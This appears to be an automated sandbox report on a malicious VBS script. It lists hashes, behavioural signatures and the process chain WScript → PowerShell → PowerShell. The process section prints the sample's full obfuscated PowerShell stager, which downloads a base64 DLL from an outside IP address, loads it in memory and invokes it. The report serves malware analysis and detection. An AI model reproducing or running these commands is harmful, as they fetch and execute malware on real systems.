Analysis
-
max time kernel
43s -
max time network
46s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
01/09/2022, 19:13
Static task
static1
Behavioral task
behavioral1
Sample
7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs
Resource
win7-20220812-en
General
-
Target
7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs
-
Size
205KB
-
MD5
55f65c5be5331616022acfa14b13cf0d
-
SHA1
5715298639b8fa40e9621a9a1e5f4e12feb801ab
-
SHA256
7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab
-
SHA512
eaa7b7cea085d6703ad604cef958426b05da22930e451f65676b0f57631e0c7328ec089b8480debc41c2ecefddd8a7e173c4f9acce5baea72476fa983f934153
-
SSDEEP
96:W6Ww7isRFEDD7174KWOktsKFSG4qYk/uU95coQ18HE:l/FEDHxIBKoTjcX18k
Malware Config
Extracted
http://91.241.19.49/QWERTY/CRTZ/Dllf3.txt
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 3 1744 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1104 powershell.exe 1744 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1104 powershell.exe Token: SeDebugPrivilege 1744 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1196 wrote to memory of 1104 1196 WScript.exe 27 PID 1196 wrote to memory of 1104 1196 WScript.exe 27 PID 1196 wrote to memory of 1104 1196 WScript.exe 27 PID 1104 wrote to memory of 1744 1104 powershell.exe 29 PID 1104 wrote to memory of 1744 1104 powershell.exe 29 PID 1104 wrote to memory of 1744 1104 powershell.exe 29
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:1196 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAEsASQB0AE8ATwBQAF⌚⌚⌚AaQBTAE8AVQBsAFEARABqAHYAWABBAE8AZwAlACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsA⌚⌚⌚wB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AOQAxAC4AMgA0ADEALgAxADkALgA0ADkALwBRAFcARQBSAFQAWQAvAEMA⌚⌚⌚gB⌚⌚⌚AFoALwBEAGwAbABmADMALgB0AHgAdAAnACkAKQA7AFsA⌚⌚⌚wB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAH⌚⌚⌚AcgByAG⌚⌚⌚AbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARABMAEwAKQAuAEcAZQB0AFQAeQBwAG⌚⌚⌚AKAAnAHgASwB2AEsAawB1AE4AWgAuAF⌚⌚⌚ARwBsAHkAbQB6AF⌚⌚⌚AZwAnACkALgBHAG⌚⌚⌚AdABNAG⌚⌚⌚AdABoAG8AZAAoACcAVQBEAHMA⌚⌚⌚wBpAEQAYgBiACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH⌚⌚⌚AbABsACwAIABbAG8AYgBqAG⌚⌚⌚AYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AMgBYAFoALwB3AG⌚⌚⌚AbgAvAHQAcwBlAHQALwA5ADQALgA5ADEALgAxADQAMgAuADEAOQAvAC8AOgBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwB3AG⌚⌚⌚AZAAzADcAMwBrAE4ASABpAGgAZgBvADkAMAA4ADMANwA4ACYAJAAhACIAIwAkAC⌚⌚⌚AJgB1AGgAaABqAGYAbgA3AHcAZAAnACAAKQApAA==';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('%KItOOPUiSOUlQDjvXAOg%', 'C:\Users\Admin\AppData\Local\Temp\7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1104 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://91.241.19.49/QWERTY/CRTZ/Dllf3.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('xKvKkuNZ.UGlymzUg').GetMethod('UDsSiDbb').Invoke($null, [object[]] ('txt.2XZ/wen/tset/94.91.142.19//:ptth' , $RodaCopy , 'wed373kNHihfo908378&$!"#$%&uhhjfn7wd' ))"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1744
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5b115861131027369ed420335ec23543a
SHA1eb9c0cfddfbbfd153c98e08a3a16483f09ec7385
SHA256219b77e9cbcf8c0c298226ee4f6e9284c0019e2f069450adc157e081d3edef81
SHA512b7f3ae1d0eff00d2aa78c908eb1bb0efd6b74b86bc477998307380fecca2e95bfde92ab70a5b59c63103caf6d401def08dd0ce5ce2979c0cffa594da661e0cfa